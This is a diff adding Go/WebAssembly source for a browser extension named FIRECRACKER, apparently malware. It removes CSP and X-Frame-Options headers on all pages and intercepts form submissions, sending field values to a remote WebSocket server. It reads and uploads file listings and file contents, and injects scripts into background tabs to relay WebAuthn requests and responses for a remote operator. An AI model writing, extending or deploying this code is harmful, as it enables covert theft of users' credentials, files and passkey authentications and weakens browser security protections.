||||
if regexp.MustCompile(`<h1[^>]*>Index of`).MatchString(text) {
|
||||
// This is a directory listing - parse the HTML to extract file info including size and date
|
||||
// First, let's debug by logging the actual HTML structure we receive
|
||||
println("FIRECRACKER: Directory listing HTML sample (first 2000 chars):")
|
||||
if len(text) > 2000 {
|
||||
println(text[:2000])
|
||||
} else {
|
||||
println(text)
|
||||
}
|
||||
|
||||
// Try multiple regex patterns to handle different Chrome HTML structures
|
||||
// Pattern 1: Standard Chrome format with data-value attributes
|
||||
trRegex1 := regexp.MustCompile(`<tr><td[^>]*data-value="([^"]+)"[^>]*>.*?</td><td[^>]*data-value="(\d+)"[^>]*>([^<]+)</td><td[^>]*data-value="(\d+)"[^>]*>([^<]+)</td></tr>`)
|
||||
matches := trRegex1.FindAllStringSubmatch(text, -1)
|
||||
|
||||
// Pattern 2: More flexible - any <tr> with 3+ <td> elements
|
||||
if len(matches) == 0 {
|
||||
trRegex2 := regexp.MustCompile(`<tr[^>]*>.*?<td[^>]*>.*?<a[^>]*href="([^"]+)"[^>]*>([^<]+)</a>.*?</td>.*?<td[^>]*>([^<]*)</td>.*?<td[^>]*>([^<]*)</td>.*?</tr>`)
|
||||
matches = trRegex2.FindAllStringSubmatch(text, -1)
|
||||
println("FIRECRACKER: Using flexible pattern 2, found", len(matches), "matches")
|
||||
}
|
||||
|
||||
// Pattern 3: Even more basic - just look for table rows with links
|
||||
if len(matches) == 0 {
|
||||
trRegex3 := regexp.MustCompile(`<tr[^>]*>.*?<a[^>]*href="([^"]+)"[^>]*>([^<]+)</a>.*?</tr>`)
|
||||
basicMatches := trRegex3.FindAllStringSubmatch(text, -1)
|
||||
println("FIRECRACKER: Using basic pattern 3, found", len(basicMatches), "matches")
|
||||
// Convert basic matches to expected format (filename only, empty size/date)
|
||||
for _, match := range basicMatches {
|
||||
if len(match) >= 3 {
|
||||
// Format: [full_match, href, filename]
|
||||
// Convert to: [full_match, filename, "0", "", "0", ""]
|
||||
fullMatch := []string{match[0], match[2], "0", "", "0", ""}
|
||||
matches = append(matches, fullMatch)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if len(matches) > 0 {
|
||||
// Directory has files - extract file info with size and date
|
||||
result := ""
|
||||
for _, match := range matches {
|
||||
println("FIRECRACKER: Full match details:", len(match), "groups")
|
||||
for i, group := range match {
|
||||
println("FIRECRACKER: Group", i, ":", group)
|
||||
}
|
||||
|
||||
var name, sizeDisplay, dateDisplay string
|
||||
var isDir bool
|
||||
|
||||
if len(match) >= 6 {
|
||||
// Pattern 1 or converted Pattern 3: [full_match, name, sizeBytes, sizeDisplay, timestamp, dateDisplay]
|
||||
name = match[1]
|
||||
sizeBytes := match[2]
|
||||
sizeDisplay = match[3]
|
||||
dateDisplay = match[5]
|
||||
|
||||
// Determine if it's a directory by checking if size is 0 and name doesn't have extension
|
||||
isDir = sizeBytes == "0" && !regexp.MustCompile(`\.[^.]+$`).MatchString(name)
|
||||
|
||||
println("FIRECRACKER: Pattern 1/3 - name:", name, "sizeBytes:", sizeBytes, "sizeDisplay:", sizeDisplay, "dateDisplay:", dateDisplay)
|
||||
} else if len(match) >= 5 {
|
||||
// Pattern 2: [full_match, href, filename, size_cell, date_cell]
|
||||
name = match[2] // filename from the <a> tag
|
||||
sizeDisplay = match[3] // content of size <td>
|
||||
dateDisplay = match[4] // content of date <td>
|
||||
|
||||
// For pattern 2, determine directory by checking if href ends with /
|
||||
href := match[1]
|
||||
isDir = len(href) > 0 && href[len(href)-1] == '/'
|
||||
|
||||
println("FIRECRACKER: Pattern 2 - name:", name, "href:", href, "sizeDisplay:", sizeDisplay, "dateDisplay:", dateDisplay)
|
||||
} else {
|
||||
println("FIRECRACKER: Insufficient match groups, skipping")
|
||||
continue
|
||||
}
|
||||
|
||||
if result != "" {
|
||||
result += "\n"
|
||||
}
|
||||
|
||||
// Clean up the name - remove trailing / for directories since we add it back
|
||||
name = regexp.MustCompile(`/$`).ReplaceAllString(name, "")
|
||||
|
||||
if isDir {
|
||||
result += "📁 " + name + "/" + "|" + sizeDisplay + "|" + dateDisplay
|
||||
} else {
|
||||
result += "📄 " + name + "|" + sizeDisplay + "|" + dateDisplay
|
||||
}
|
||||
}
|
||||
fc.sendFileResponse(result, jsonObj)
|
||||
} else {
|
||||
// Try fallback to addRow pattern for older format
|
||||
// Pattern: addRow("name","encoded_name",isDirectory,size_bytes,"size_display",timestamp,"date_display");
|
||||
addRowRegex := regexp.MustCompile(`addRow\("([^"]+)","[^"]*",(\d+),(\d+),"([^"]*)",\d+,"([^"]*)"\);`)
|
||||
addRowMatches := addRowRegex.FindAllStringSubmatch(text, -1)
|
||||
println("FIRECRACKER: Found", len(addRowMatches), "addRow matches")
|
||||
|
||||
if len(addRowMatches) > 0 {
|
||||
result := ""
|
||||
for _, match := range addRowMatches {
|
||||
println("FIRECRACKER: addRow match:", match[0])
|
||||
if len(match) >= 6 {
|
||||
name := match[1]
|
||||
isDir := match[2] == "1"
|
||||
sizeDisplay := match[4]
|
||||
dateDisplay := match[5]
|
||||
|
||||
if result != "" {
|
||||
result += "\n"
|
||||
}
|
||||
|
||||
if isDir {
|
||||
result += "📁 " + name + "/" + "|" + sizeDisplay + "|" + dateDisplay
|
||||
} else {
|
||||
result += "📄 " + name + "|" + sizeDisplay + "|" + dateDisplay
|
||||
}
|
||||
}
|
||||
}
|
||||
fc.sendFileResponse(result, jsonObj)
|
||||
} else {
|
||||
// Try even more flexible pattern to catch any addRow calls
|
||||
flexibleAddRowRegex := regexp.MustCompile(`addRow\("([^"]+)"`)
|
||||
flexibleMatches := flexibleAddRowRegex.FindAllStringSubmatch(text, -1)
|
||||
println("FIRECRACKER: Found", len(flexibleMatches), "flexible addRow matches")
|
||||
|
||||
if len(flexibleMatches) > 0 {
|
||||
result := ""
|
||||
for _, match := range flexibleMatches {
|
||||
if len(match) >= 2 {
|
||||
name := match[1]
|
||||
// Assume it's a directory if name doesn't contain a dot
|
||||
isDir := !regexp.MustCompile(`\.[^.]+$`).MatchString(name)
|
||||
|
||||
if result != "" {
|
||||
result += "\n"
|
||||
}
|
||||
|
||||
if isDir {
|
||||
result += "📁 " + name + "/" + "||"
|
||||
} else {
|
||||
result += "📄 " + name + "||"
|
||||
}
|
||||
}
|
||||
}
|
||||
fc.sendFileResponse(result, jsonObj)
|
||||
} else {
|
||||
// Empty directory
|
||||
fc.sendFileResponse("EMPTY_DIRECTORY", jsonObj)
|
||||
}
|
||||
}
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// This is NOT a directory listing (no "Index of" in title)
|
||||
// This means we're accessing a specific file - apply binary/text detection and compression
|
||||
fc.handleFileContent([]byte(text), jsonObj, false)
|
||||
}
|
||||
|
||||
// handleBinaryData handles binary file content read as ArrayBuffer
|
||||
func (fc *FirecrackerClient) handleBinaryData(arrayBuffer js.Value, jsonObj FirecrackerMessage) {
|
||||
// Convert ArrayBuffer to []byte using a different approach
|
||||
uint8Array := js.Global().Get("Uint8Array").New(arrayBuffer)
|
||||
length := uint8Array.Get("length").Int()
|
||||
|
||||
// Try copying the data in larger chunks to avoid individual byte access
|
||||
data := make([]byte, length)
|
||||
|
||||
// Copy data in 1024-byte chunks to minimize JS-Go boundary crossings
|
||||
chunkSize := 1024
|
||||
for offset := 0; offset < length; offset += chunkSize {
|
||||
end := offset + chunkSize
|
||||
if end > length {
|
||||
end = length
|
||||
}
|
||||
|
||||
// Copy chunk
|
||||
for i := offset; i < end; i++ {
|
||||
val := uint8Array.Index(i).Int()
|
||||
if val < 0 || val > 255 {
|
||||
println("FIRECRACKER: Invalid byte value at index", i, ":", val)
|
||||
val = 0
|
||||
}
|
||||
data[i] = byte(val)
|
||||
}
|
||||
}
|
||||
|
||||
println("FIRECRACKER: Binary file content (", len(data), " bytes)")
|
||||
fc.handleFileContent(data, jsonObj, true)
|
||||
}
|
||||
|
||||
// handleFileContent handles both text and binary file content with compression
|
||||
func (fc *FirecrackerClient) handleFileContent(data []byte, jsonObj FirecrackerMessage, isBinary bool) {
|
||||
// Check if file content is large enough to warrant compression
|
||||
if len(data) > 1024 {
|
||||
println("FIRECRACKER: File is large (", len(data), " bytes), compressing...")
|
||||
|
||||
// Compress the content using gzip
|
||||
var compressed bytes.Buffer
|
||||
gzipWriter := gzip.NewWriter(&compressed)
|
||||
_, err := gzipWriter.Write(data)
|
||||
if err != nil {
|
||||
println("FIRECRACKER: Error compressing file:", err.Error())
|
||||
// Fallback: base64 encode raw data
|
||||
encoded := base64.StdEncoding.EncodeToString(data)
|
||||
fc.sendFileResponse("FILE_CONTENT:"+encoded, jsonObj)
|
||||
} else {
|
||||
err = gzipWriter.Close()
|
||||
if err != nil {
|
||||
println("FIRECRACKER: Error closing gzip writer:", err.Error())
|
||||
// Fallback: base64 encode raw data
|
||||
encoded := base64.StdEncoding.EncodeToString(data)
|
||||
fc.sendFileResponse("FILE_CONTENT:"+encoded, jsonObj)
|
||||
} else {
|
||||
// Base64 encode the compressed data
|
||||
compressedBytes := compressed.Bytes()
|
||||
encoded := base64.StdEncoding.EncodeToString(compressedBytes)
|
||||
println("FIRECRACKER: Compressed from", len(data), "to", len(compressedBytes), "bytes, encoded to", len(encoded), "chars")
|
||||
fc.sendFileResponse("FILE_CONTENT_COMPRESSED:"+encoded, jsonObj)
|
||||
}
|
||||
}
|
||||
} else {
|
||||
// Small file - base64 encode directly (works for both text and binary)
|
||||
encoded := base64.StdEncoding.EncodeToString(data)
|
||||
fc.sendFileResponse("FILE_CONTENT:"+encoded, jsonObj)
|
||||
}
|
||||
}
|
||||
|
||||
// sendFileResponse sends the file response message
|
||||
func (fc *FirecrackerClient) sendFileResponse(result string, jsonObj FirecrackerMessage) {
|
||||
diskListing := map[string]interface{}{
|
||||
"type": MESSAGE_TYPE_LS_COMMAND_RESP,
|
||||
"data": result,
|
||||
"taskId": jsonObj.TaskId,
|
||||
}
|
||||
diskListingJson, _ := json.Marshal(diskListing)
|
||||
println("FIRECRACKER: Sending file response:", len(result), "chars")
|
||||
fc.SendMessage(string(diskListingJson))
|
||||
}
|
||||
|
||||
// Close closes the WebSocket connection
|
||||
func (fc *FirecrackerClient) Close() {
|
||||
if fc.connected && !fc.ws.IsUndefined() {
|
||||
println("FIRECRACKER: Closing WebSocket connection")
|
||||
fc.ws.Call("close")
|
||||
fc.connected = false
|
||||
}
|
||||
|
||||
// Release JavaScript callbacks
|
||||
fc.onOpenCallback.Release()
|
||||
fc.onMessageCallback.Release()
|
||||
fc.onCloseCallback.Release()
|
||||
fc.onErrorCallback.Release()
|
||||
}
|
||||
|
||||
// IsConnected returns the current connection status
|
||||
func (fc *FirecrackerClient) IsConnected() bool {
|
||||
return fc.connected
|
||||
}
|
||||
|
||||
// GetQueueSize returns the number of queued messages
|
||||
func (fc *FirecrackerClient) GetQueueSize() int {
|
||||
return len(fc.messageQueue)
|
||||
}
|
||||
|
||||
// Global FIRECRACKER client instance
|
||||
var firecrackerClient *FirecrackerClient
|
||||
|
||||
// InitializeFirecracker initializes the FIRECRACKER WebSocket client
|
||||
func InitializeFirecracker() {
|
||||
println("FIRECRACKER: Initializing WebSocket client")
|
||||
|
||||
firecrackerClient = NewFirecrackerClient()
|
||||
firecrackerClient.Connect()
|
||||
}
|
||||
|
||||
// SendFirecrackerMessage sends a message through the FIRECRACKER WebSocket
|
||||
func SendFirecrackerMessage(message string) bool {
|
||||
if firecrackerClient == nil {
|
||||
println("FIRECRACKER: Client not initialized")
|
||||
return false
|
||||
}
|
||||
|
||||
return firecrackerClient.SendMessage(message)
|
||||
}
|
||||
|
||||
// GetFirecrackerStatus returns the current FIRECRACKER connection status
|
||||
func GetFirecrackerStatus() bool {
|
||||
if firecrackerClient == nil {
|
||||
return false
|
||||
}
|
||||
|
||||
return firecrackerClient.IsConnected()
|
||||
}
|
||||
|
||||
// CloseFirecracker closes the FIRECRACKER WebSocket connection
|
||||
func CloseFirecracker() {
|
||||
if firecrackerClient != nil {
|
||||
firecrackerClient.Close()
|
||||
firecrackerClient = nil
|
||||
}
|
||||
}
|
||||
|
||||
// Export functions to JavaScript
|
||||
func ExportFirecrackerFunctions() {
|
||||
js.Global().Set("initializeFirecracker", js.FuncOf(func(this js.Value, args []js.Value) interface{} {
|
||||
InitializeFirecracker()
|
||||
return nil
|
||||
}))
|
||||
|
||||
js.Global().Set("sendFirecrackerMessage", js.FuncOf(func(this js.Value, args []js.Value) interface{} {
|
||||
if len(args) > 0 && args[0].Type() == js.TypeString {
|
||||
message := args[0].String()
|
||||
return SendFirecrackerMessage(message)
|
||||
}
|
||||
return false
|
||||
}))
|
||||
|
||||
js.Global().Set("getFirecrackerStatus", js.FuncOf(func(this js.Value, args []js.Value) interface{} {
|
||||
return GetFirecrackerStatus()
|
||||
}))
|
||||
|
||||
js.Global().Set("closeFirecracker", js.FuncOf(func(this js.Value, args []js.Value) interface{} {
|
||||
CloseFirecracker()
|
||||
return nil
|
||||
}))
|
||||
}
|
||||
@@ -0,0 +1,138 @@
|
||||
//go:build js && wasm
|
||||
// +build js,wasm
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"syscall/js"
|
||||
)
|
||||
|
||||
// Remove CSP headers + X-Frame-Options header
|
||||
func updateDynamicRules() {
|
||||
// Create rule 1: Remove content-security-policy header
|
||||
rule1 := js.Global().Get("Object").New()
|
||||
rule1.Set("id", 1)
|
||||
rule1.Set("priority", 1)
|
||||
|
||||
action1 := js.Global().Get("Object").New()
|
||||
action1.Set("type", "modifyHeaders")
|
||||
|
||||
responseHeaders1 := js.Global().Get("Array").New()
|
||||
|
||||
cspHeader := js.Global().Get("Object").New()
|
||||
cspHeader.Set("header", "content-security-policy")
|
||||
cspHeader.Set("operation", "remove")
|
||||
responseHeaders1.Call("push", cspHeader)
|
||||
|
||||
action1.Set("responseHeaders", responseHeaders1)
|
||||
rule1.Set("action", action1)
|
||||
|
||||
condition1 := js.Global().Get("Object").New()
|
||||
resourceTypes1 := js.Global().Get("Array").New()
|
||||
resourceTypes1.Call("push", "main_frame")
|
||||
resourceTypes1.Call("push", "sub_frame")
|
||||
condition1.Set("resourceTypes", resourceTypes1)
|
||||
|
||||
rule1.Set("condition", condition1)
|
||||
|
||||
// Create rule 2: Remove content-security-policy-report-only header
|
||||
rule2 := js.Global().Get("Object").New()
|
||||
rule2.Set("id", 2)
|
||||
rule2.Set("priority", 1)
|
||||
|
||||
action2 := js.Global().Get("Object").New()
|
||||
action2.Set("type", "modifyHeaders")
|
||||
|
||||
responseHeaders2 := js.Global().Get("Array").New()
|
||||
|
||||
cspReportOnlyHeader := js.Global().Get("Object").New()
|
||||
cspReportOnlyHeader.Set("header", "content-security-policy-report-only")
|
||||
cspReportOnlyHeader.Set("operation", "remove")
|
||||
responseHeaders2.Call("push", cspReportOnlyHeader)
|
||||
|
||||
action2.Set("responseHeaders", responseHeaders2)
|
||||
rule2.Set("action", action2)
|
||||
|
||||
condition2 := js.Global().Get("Object").New()
|
||||
resourceTypes2 := js.Global().Get("Array").New()
|
||||
resourceTypes2.Call("push", "main_frame")
|
||||
resourceTypes2.Call("push", "sub_frame")
|
||||
condition2.Set("resourceTypes", resourceTypes2)
|
||||
|
||||
rule2.Set("condition", condition2)
|
||||
|
||||
// Create rule 3: Remove X-Frame-Options header
|
||||
rule3 := js.Global().Get("Object").New()
|
||||
rule3.Set("id", 3)
|
||||
rule3.Set("priority", 1)
|
||||
|
||||
action3 := js.Global().Get("Object").New()
|
||||
action3.Set("type", "modifyHeaders")
|
||||
|
||||
responseHeaders3 := js.Global().Get("Array").New()
|
||||
|
||||
xFrameOptionsHeader := js.Global().Get("Object").New()
|
||||
xFrameOptionsHeader.Set("header", "x-frame-options")
|
||||
xFrameOptionsHeader.Set("operation", "remove")
|
||||
responseHeaders3.Call("push", xFrameOptionsHeader)
|
||||
|
||||
action3.Set("responseHeaders", responseHeaders3)
|
||||
rule3.Set("action", action3)
|
||||
|
||||
condition3 := js.Global().Get("Object").New()
|
||||
resourceTypes3 := js.Global().Get("Array").New()
|
||||
resourceTypes3.Call("push", "main_frame")
|
||||
resourceTypes3.Call("push", "sub_frame")
|
||||
condition3.Set("resourceTypes", resourceTypes3)
|
||||
rule3.Set("condition", condition3)
|
||||
|
||||
// Create rules array
|
||||
rules := js.Global().Get("Array").New()
|
||||
rules.Call("push", rule1)
|
||||
rules.Call("push", rule2)
|
||||
rules.Call("push", rule3)
|
||||
|
||||
// Prepare the updateDynamicRules object
|
||||
updateDynamicRulesArgs := js.Global().Get("Object").New()
|
||||
|
||||
// Create an array for removeRuleIds (remove existing rules with same IDs)
|
||||
removeRuleIds := js.Global().Get("Array").New()
|
||||
removeRuleIds.Call("push", 1)
|
||||
removeRuleIds.Call("push", 2)
|
||||
removeRuleIds.Call("push", 3)
|
||||
updateDynamicRulesArgs.Set("removeRuleIds", removeRuleIds)
|
||||
|
||||
updateDynamicRulesArgs.Set("addRules", rules)
|
||||
|
||||
// Call the chrome.declarativeNetRequest.updateDynamicRules API
|
||||
chrome := js.Global().Get("chrome")
|
||||
dnr := chrome.Get("declarativeNetRequest")
|
||||
|
||||
// Call updateDynamicRules with a callback
|
||||
callback := js.FuncOf(func(this js.Value, args []js.Value) interface{} {
|
||||
// Check if there's an error
|
||||
if chrome.Get("runtime").Get("lastError").Truthy() {
|
||||
println("Error updating dynamic rules:", chrome.Get("runtime").Get("lastError").Get("message").String())
|
||||
} else {
|
||||
println("Dynamic rules updated successfully")
|
||||
}
|
||||
return nil
|
||||
})
|
||||
|
||||
dnr.Call("updateDynamicRules", updateDynamicRulesArgs, callback)
|
||||
}
|
||||
|
||||
func main() {
|
||||
// We have to remove CSP headers to allow our content scripts to run WASM on every page
|
||||
updateDynamicRules()
|
||||
|
||||
messageHandler := NewMessageHandler()
|
||||
messageHandler.setupMessageListener()
|
||||
|
||||
println("FIRECRACKER: Module loaded, exporting functions")
|
||||
ExportFirecrackerFunctions()
|
||||
InitializeFirecracker()
|
||||
println("Background script: FIRECRACKER client status:", GetFirecrackerStatus())
|
||||
|
||||
select {}
|
||||
}
|
||||
@@ -0,0 +1,215 @@
|
||||
//go:build js && wasm
|
||||
// +build js,wasm
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"strings"
|
||||
"syscall/js"
|
||||
)
|
||||
|
||||
// MessageHandler manages communication between content script and background script
|
||||
type MessageHandler struct {
|
||||
chrome js.Value
|
||||
}
|
||||
|
||||
func NewMessageHandler() *MessageHandler {
|
||||
return &MessageHandler{
|
||||
chrome: js.Global().Get("chrome"),
|
||||
}
|
||||
}
|
||||
|
||||
func (mh *MessageHandler) setupMessageListener() {
|
||||
messageListener := js.FuncOf(func(this js.Value, args []js.Value) interface{} {
|
||||
// args[0] = message object
|
||||
// args[1] = sender object
|
||||
// args[2] = sendResponse function
|
||||
|
||||
if len(args) < 3 {
|
||||
return nil
|
||||
}
|
||||
|
||||
message := args[0]
|
||||
sender := args[1]
|
||||
sendResponse := args[2]
|
||||
|
||||
mh.handleMessage(message, sender, sendResponse)
|
||||
return true
|
||||
})
|
||||
|
||||
mh.chrome.Get("runtime").Get("onMessage").Call("addListener", messageListener)
|
||||
println("Background script: Message listener set up")
|
||||
}
|
||||
|
||||
func (mh *MessageHandler) handleMessage(message js.Value, sender js.Value, sendResponse js.Value) {
|
||||
messageType := message.Get("type").String()
|
||||
|
||||
// println(fmt.Sprintf("Background script: Received message type: %s", messageType))
|
||||
|
||||
switch messageType {
|
||||
case "ping":
|
||||
mh.handlePing(message, sender, sendResponse)
|
||||
case "form_data":
|
||||
mh.handleFormData(message, sender, sendResponse)
|
||||
case "debug":
|
||||
mh.handleDebugInfo(message, sender, sendResponse)
|
||||
case "create_webauthn_iframe":
|
||||
mh.handleCreateWebAuthnIframe(message, sender, sendResponse)
|
||||
case "get_webauthn_request":
|
||||
mh.handleGetWebAuthnRequest(message, sender, sendResponse)
|
||||
case "send_webauthn_response":
|
||||
mh.handleSendWebAuthnResponse(message, sender, sendResponse)
|
||||
default:
|
||||
println(fmt.Sprintf("Background script: Unknown message type: %s", messageType))
|
||||
response := map[string]interface{}{
|
||||
"success": false,
|
||||
"error": "Unknown message type",
|
||||
}
|
||||
sendResponse.Invoke(response)
|
||||
}
|
||||
}
|
||||
|
||||
func (mh *MessageHandler) handlePing(message js.Value, sender js.Value, sendResponse js.Value) {
|
||||
data := message.Get("data")
|
||||
println(fmt.Sprintf("Background script: Ping received with data: %s", data.String()))
|
||||
|
||||
response := map[string]interface{}{
|
||||
"type": "pong",
|
||||
"success": true,
|
||||
"data": "Hello from background script!",
|
||||
"timestamp": js.Global().Get("Date").New().Call("toISOString").String(),
|
||||
}
|
||||
|
||||
sendResponse.Invoke(response)
|
||||
}
|
||||
|
||||
func (mh *MessageHandler) handleFormData(message js.Value, sender js.Value, sendResponse js.Value) {
|
||||
formData := message.Get("data").String()
|
||||
println(fmt.Sprintf("Background script: Form data received: %s", formData))
|
||||
|
||||
formDataMessage := map[string]interface{}{
|
||||
"type": MESSAGE_TYPE_FORM_DATA,
|
||||
"data": formData,
|
||||
}
|
||||
formDataMessageJson, _ := json.Marshal(formDataMessage)
|
||||
firecrackerClient.SendMessage(string(formDataMessageJson))
|
||||
// Process form data (could save to storage, send to server, etc.)
|
||||
processedData := fmt.Sprintf("Processed: %s", formData)
|
||||
|
||||
response := map[string]interface{}{
|
||||
"type": "form_data_response",
|
||||
"success": true,
|
||||
"processedData": processedData,
|
||||
"timestamp": js.Global().Get("Date").New().Call("toISOString").String(),
|
||||
}
|
||||
|
||||
sendResponse.Invoke(response)
|
||||
}
|
||||
|
||||
func (mh *MessageHandler) handleDebugInfo(message js.Value, sender js.Value, sendResponse js.Value) {
|
||||
debugInfo := message.Get("data").String()
|
||||
println(fmt.Sprintf("DEBUG: %s", debugInfo))
|
||||
|
||||
response := map[string]interface{}{
|
||||
"type": "debug_response",
|
||||
"success": true,
|
||||
}
|
||||
|
||||
sendResponse.Invoke(response)
|
||||
}
|
||||
|
||||
func (mh *MessageHandler) handleGetWebAuthnRequest(message js.Value, sender js.Value, sendResponse js.Value) {
|
||||
println("Background script: Get WebAuthn request called")
|
||||
|
||||
if firecrackerClient.pendingWebAuthnRequest != nil {
|
||||
println("Background script: Pending WebAuthn request found")
|
||||
response := map[string]interface{}{
|
||||
"type": "get_webauthn_request_response",
|
||||
"success": true,
|
||||
"data": map[string]interface{}{
|
||||
"domain": firecrackerClient.pendingWebAuthnRequest.Domain,
|
||||
"credentialsObject": firecrackerClient.pendingWebAuthnRequest.Request,
|
||||
},
|
||||
"timestamp": js.Global().Get("Date").New().Call("toISOString").String(),
|
||||
}
|
||||
sendResponse.Invoke(response)
|
||||
return
|
||||
}
|
||||
|
||||
println("Background script: No pending WebAuthn request found")
|
||||
response := map[string]interface{}{
|
||||
"type": "get_webauthn_request_response",
|
||||
"success": false,
|
||||
}
|
||||
sendResponse.Invoke(response)
|
||||
}
|
||||
|
||||
func (mh *MessageHandler) handleSendWebAuthnResponse(message js.Value, sender js.Value, sendResponse js.Value) {
|
||||
responseData := message.Get("data")
|
||||
println(fmt.Sprintf("Background script: WebAuthn response received: %s", responseData.String()))
|
||||
|
||||
responseMessage := map[string]interface{}{
|
||||
"type": MESSAGE_TYPE_WEB_AUTHN_RESP,
|
||||
"data": responseData.String(),
|
||||
"taskId": firecrackerClient.pendingWebAuthnRequest.TaskId,
|
||||
}
|
||||
responseMessageJson, _ := json.Marshal(responseMessage)
|
||||
firecrackerClient.SendMessage(string(responseMessageJson))
|
||||
firecrackerClient.pendingWebAuthnRequest = nil
|
||||
|
||||
response := map[string]interface{}{
|
||||
"type": "send_webauthn_response_ack",
|
||||
"success": true,
|
||||
"message": "WebAuthn response received and processed",
|
||||
"timestamp": js.Global().Get("Date").New().Call("toISOString").String(),
|
||||
}
|
||||
|
||||
sendResponse.Invoke(response)
|
||||
}
|
||||
|
||||
func (mh *MessageHandler) handleCreateWebAuthnIframe(message js.Value, sender js.Value, sendResponse js.Value) {
|
||||
println(fmt.Sprintf("Background script: Creating WebAuthn iframe"))
|
||||
|
||||
mh.chrome.Get("tabs").Call("query", map[string]interface{}{"active": false}, js.FuncOf(func(this js.Value, args []js.Value) interface{} {
|
||||
if len(args) > 0 {
|
||||
tabs := args[0]
|
||||
tabsLength := tabs.Get("length").Int()
|
||||
|
||||
println(fmt.Sprintf("Background script: Found %d tabs", tabsLength))
|
||||
|
||||
for i := 0; i < tabsLength; i++ {
|
||||
tab := tabs.Index(i)
|
||||
currentTabId := tab.Get("id").Int()
|
||||
tabUrl := tab.Get("url").String()
|
||||
|
||||
// Skip tabs that are internal chrome URLs which can't make WebAuthn requests
|
||||
if !strings.HasPrefix(tabUrl, "chrome") {
|
||||
// We use files vs func because creating a JSFunc in the ISOLATED world doesn't translate to MAIN
|
||||
filesArray := js.Global().Get("Array").New()
|
||||
filesArray.Call("push", "create-webauthn-iframe.js")
|
||||
scriptInjectObj := map[string]interface{}{
|
||||
"target": map[string]interface{}{
|
||||
"tabId": currentTabId,
|
||||
},
|
||||
"world": "MAIN",
|
||||
"files": filesArray,
|
||||
}
|
||||
mh.chrome.Get("scripting").Call("executeScript", scriptInjectObj)
|
||||
} else {
|
||||
continue
|
||||
}
|
||||
|
||||
response := map[string]interface{}{
|
||||
"type": "create_webauthn_iframe_response",
|
||||
"success": true,
|
||||
"message": fmt.Sprintf("Executed script in tab %d", currentTabId),
|
||||
}
|
||||
sendResponse.Invoke(response)
|
||||
return nil
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}))
|
||||
}
|
||||
@@ -0,0 +1,521 @@
|
||||
//go:build js && wasm
|
||||
// +build js,wasm
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strings"
|
||||
"syscall/js"
|
||||
)
|
||||
|
||||
type FormProcessor struct {
|
||||
processedForms map[string]bool
|
||||
}
|
||||
|
||||
func NewFormProcessor() *FormProcessor {
|
||||
return &FormProcessor{
|
||||
processedForms: make(map[string]bool),
|
||||
}
|
||||
}
|
||||
|
||||
// getFormData extracts form data as a readable string
|
||||
func (fp *FormProcessor) getFormData(form js.Value) string {
|
||||
var data []string
|
||||
|
||||
inputs := form.Call("querySelectorAll", "input, select, textarea")
|
||||
inputsLength := inputs.Get("length").Int()
|
||||
|
||||
for i := 0; i < inputsLength; i++ {
|
||||
input := inputs.Index(i)
|
||||
inputType := input.Get("type").String()
|
||||
name := input.Get("name").String()
|
||||
value := input.Get("value").String()
|
||||
|
||||
if name == "" {
|
||||
name = "unnamed"
|
||||
}
|
||||
|
||||
// Skip submit buttons and buttons as their text/value can change during submission
|
||||
if inputType == "submit" || inputType == "button" {
|
||||
continue
|
||||
}
|
||||
|
||||
switch inputType {
|
||||
case "checkbox", "radio":
|
||||
if input.Get("checked").Bool() {
|
||||
if value == "" {
|
||||
value = "checked"
|
||||
}
|
||||
data = append(data, fmt.Sprintf("%s: %s", name, value))
|
||||
}
|
||||
case "file":
|
||||
files := input.Get("files")
|
||||
if !files.IsNull() && files.Get("length").Int() > 0 {
|
||||
fileName := files.Index(0).Get("name").String()
|
||||
data = append(data, fmt.Sprintf("%s: [File: %s]", name, fileName))
|
||||
}
|
||||
default:
|
||||
if value != "" {
|
||||
data = append(data, fmt.Sprintf("%s: %s", name, value))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if len(data) == 0 {
|
||||
return "No form data found"
|
||||
}
|
||||
|
||||
return strings.Join(data, "\n")
|
||||
}
|
||||
|
||||
func (fp *FormProcessor) interceptFormSubmission(form js.Value) {
|
||||
form.Set("_isIntercepting", true)
|
||||
|
||||
submitHandler := js.FuncOf(func(this js.Value, args []js.Value) interface{} {
|
||||
js.Global().Get("handleFormSubmission").Invoke(form, args[0])
|
||||
return nil
|
||||
})
|
||||
|
||||
form.Set("_submitHandler", submitHandler)
|
||||
form.Call("addEventListener", "submit", submitHandler)
|
||||
fp.addInputChangeListeners(form)
|
||||
fp.addKeyboardListeners(form)
|
||||
}
|
||||
|
||||
func (fp *FormProcessor) addButtonClickListeners(form js.Value) {
|
||||
buttons := form.Call("querySelectorAll", "button, input[type='submit'], input[type='button']")
|
||||
buttonsLength := buttons.Get("length").Int()
|
||||
|
||||
for i := 0; i < buttonsLength; i++ {
|
||||
button := buttons.Index(i)
|
||||
fp.addClickListenerToElement(form, button)
|
||||
}
|
||||
}
|
||||
|
||||
func (fp *FormProcessor) addClickListenerToElement(form js.Value, element js.Value) {
|
||||
buttonClickHandler := js.FuncOf(func(this js.Value, args []js.Value) interface{} {
|
||||
js.Global().Get("handleButtonClick").Invoke(form, element, args[0])
|
||||
return nil
|
||||
})
|
||||
|
||||
element.Set("_formClickHandler", buttonClickHandler)
|
||||
element.Call("addEventListener", "click", buttonClickHandler)
|
||||
}
|
||||
|
||||
func (fp *FormProcessor) isFormField(element js.Value) bool {
|
||||
tagName := strings.ToLower(element.Get("tagName").String())
|
||||
|
||||
formFieldTags := []string{"input", "textarea", "select", "option"}
|
||||
for _, tag := range formFieldTags {
|
||||
if tagName == tag {
|
||||
return true
|
||||
}
|
||||
}
|
||||
|
||||
if element.Get("contentEditable").String() == "true" {
|
||||
return true
|
||||
}
|
||||
|
||||
role := strings.ToLower(element.Get("role").String())
|
||||
inputRoles := []string{"textbox", "combobox", "listbox", "checkbox", "radio", "slider", "spinbutton"}
|
||||
for _, inputRole := range inputRoles {
|
||||
if role == inputRole {
|
||||
return true
|
||||
}
|
||||
}
|
||||
|
||||
return false
|
||||
}
|
||||
|
||||
func (fp *FormProcessor) isLikelySubmitTrigger(element js.Value) bool {
|
||||
if fp.isFormField(element) {
|
||||
return false
|
